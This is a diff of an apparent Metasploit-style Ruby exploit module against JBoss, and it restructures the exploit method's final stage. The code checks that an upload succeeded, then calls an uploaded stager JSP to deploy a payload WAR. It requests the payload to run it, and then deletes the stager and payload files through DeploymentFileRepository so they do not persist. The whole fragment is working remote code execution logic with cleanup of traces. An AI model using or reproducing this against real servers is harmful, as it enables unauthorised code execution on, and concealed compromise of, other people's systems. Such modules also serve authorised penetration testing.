@@ -144,45 +144,44 @@ def exploit
144
144
end
145
145
end
146
146
147
-
148
- # Call the stager to deploy the payload war file
149
147
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
150
148
# but the file still gets written.
151
- if ( res . code == 200 || res . code == 500 )
152
- print_status ( "Calling stager to deploy the payload warfile (might take some time)" )
153
- stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
154
- stager_res = deploy ( 'uri' => stager_uri ,
155
- 'method' => 'GET' )
156
-
157
- print_status ( "Try to call the deployed payload" )
158
- # Try to execute the payload by calling the deployed WAR file
159
- payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
160
- payload_res = deploy ( 'uri' => payload_uri )
161
-
162
- #
163
- # DELETE
164
- #
165
- # The WAR can only be removed by physically deleting it, otherwise it
166
- # will get redeployed after a server restart.
167
- print_status ( "Undeploying stager and payload WARs via DeploymentFileRepository.remove()..." )
168
- print_status ( "This might take some time, be patient..." ) if http_verb == "HEAD"
169
- delete_res = [ ]
170
- if head_stager_jsp_name
171
- delete_res << delete_file ( stager_base + '.war' , head_stager_jsp_name , '.jsp' )
172
- end
173
- delete_res << delete_file ( stager_base + '.war' , stager_jsp_name , '.jsp' )
174
- delete_res << delete_file ( './' , stager_base + '.war' , '' )
175
- delete_res << delete_file ( './' , app_base + '.war' , '' )
176
- delete_res . each do |res |
177
- if !res
178
- print_warning ( "WARNING: Unable to remove WAR [No Response]" )
179
- elsif ( res . code < 200 || res . code >= 300 )
180
- print_warning ( "WARNING: Unable to remove WAR [#{ res . code } #{ res . message } ]" )
181
- end
149
+ unless res && ( res . code == 200 || res . code == 500 )
150
+ fail_with ( Failure ::Unknown , "Failed to deploy" )
151
+ end
152
+
153
+ print_status ( "Calling stager to deploy the payload warfile (might take some time)" )
154
+ stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
155
+ stager_res = deploy ( 'uri' => stager_uri ,
156
+ 'method' => 'GET' )
157
+
158
+ print_status ( "Try to call the deployed payload" )
159
+ # Try to execute the payload by calling the deployed WAR file
160
+ payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
161
+ payload_res = deploy ( 'uri' => payload_uri )
162
+
163
+ #
164
+ # DELETE
165
+ #
166
+ # The WAR can only be removed by physically deleting it, otherwise it
167
+ # will get redeployed after a server restart.
168
+ print_status ( "Undeploying stager and payload WARs via DeploymentFileRepository.remove()..." )
169
+ print_status ( "This might take some time, be patient..." ) if http_verb == "HEAD"
170
+ delete_res = [ ]
171
+ if head_stager_jsp_name
172
+ delete_res << delete_file ( stager_base + '.war' , head_stager_jsp_name , '.jsp' )
173
+ end
174
+ delete_res << delete_file ( stager_base + '.war' , stager_jsp_name , '.jsp' )
175
+ delete_res << delete_file ( './' , stager_base + '.war' , '' )
176
+ delete_res << delete_file ( './' , app_base + '.war' , '' )
177
+ delete_res . each do |res |
178
+ if !res
179
+ print_warning ( "WARNING: Unable to remove WAR [No Response]" )
180
+ elsif ( res . code < 200 || res . code >= 300 )
181
+ print_warning ( "WARNING: Unable to remove WAR [#{ res . code } #{ res . message } ]" )
182
182
end
183
183
184
184
handler
185
185
end
186
186
end
187
-
188
187
end
0 commit comments